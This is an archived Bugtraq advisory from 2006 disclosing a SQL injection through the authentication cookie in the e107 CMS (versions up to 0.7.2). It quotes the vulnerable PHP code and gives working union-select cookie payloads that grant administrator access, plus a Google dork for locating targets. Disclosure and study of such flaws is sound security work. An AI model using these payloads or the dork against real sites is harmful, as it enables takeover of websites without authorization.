lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20060513110435.1962.qmail@securityfocus.com>
Date: 13 May 2006 11:04:35 -0000
From: socsam@...uxmail.org
To: bugtraq@...urityfocus.com
Subject: SQL-Injection in e107 allows attacker to become a site admininstrator


Software: e107 (CMS)

Versions: <= 0.7.2

Type:	SQL-injection
	
Homepage:	www.e107.org



Description:

----------------------------

SQL-Injection in e107 allows attacker to become a site admininstrator.


Requirements:

----------------------------

Magic_quotes_gpc = Off


Vulnerability:

----------------------------

Vulnerability has been found in processing the COOKIE.
COOKIE use for authentification users and administrator.
Data transfered to this parameter not are filtered.

Code:

----------------------------

class2.php
.....
>       list($uid, $upw)=($_COOKIE[$pref['cookie_name']] ? explode(".",                   >  $_COOKIE[$pref['cookie_name']]) : explode(".", $_SESSION[$pref['cookie_name']]));
.....

>       if($result = get_user_data($uid, "AND md5(u.user_password)='{$upw}'", FALSE)) {
.....



Exploit:
0.6.xxx

1.blabla_hash_password' union select * from e107_user where user_id=1/*


0.7.X

1.blabla_hash_password' union select 1,'admin_d','admin',4,5,6,'some_user@...e_hostcom',8,9,10,11,12,'1139995361','1140005365',15,16,17,18,19,20,21,22,23,24,'1',26,27,'0',29,30,31,32,33 /*

Additional Information:

-----------------------

Google dorks: "Powered by e107"


Vendor Status

-------------

The vendor is informed!




Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ